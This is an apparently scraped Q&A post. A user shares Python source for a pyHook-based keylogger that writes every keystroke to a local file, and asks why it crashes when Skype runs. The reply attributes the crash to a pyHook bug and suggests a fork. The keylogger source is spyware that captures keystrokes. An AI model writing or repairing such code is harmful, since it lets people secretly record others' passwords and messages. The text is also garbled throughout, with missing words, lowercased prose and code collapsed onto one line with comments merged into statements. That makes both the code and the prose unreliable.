python - pythoncom crashes on keylogger with skype -
this question has answer here:
this source code:
import pythoncom, pyhook, sys def onkeyboardevent(event): if event.ascii==5: sys.exit elif event.ascii !=0 or 8: f = open('output.txt', 'r+') buffer = f.read() f.close() f = open ('output.txt', 'w') keylogs=chr(event.ascii) if event.ascii==13: keylogs = ('\n') buffer +=(keylogs) f.write(buffer) f.close() # return true pass event other handlers return true # create hook manager hm = pyhook.hookmanager() # watch mouse events hm.keydown = onkeyboardevent # set hook hm.hookkeyboard() # wait forever pythoncom.pumpmessages()
whenever run skype, , type something, error in cmd.
typeerror: keyboardswitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', , 'win_name'
i'm assuming has fact skype has non-ascii character in it's window name, how can fix this?
this caused bug in pyhook. this answer provides description of if interested. didn't want recompile pyhook recommended, opted use this fork. instead
Comments
Post a Comment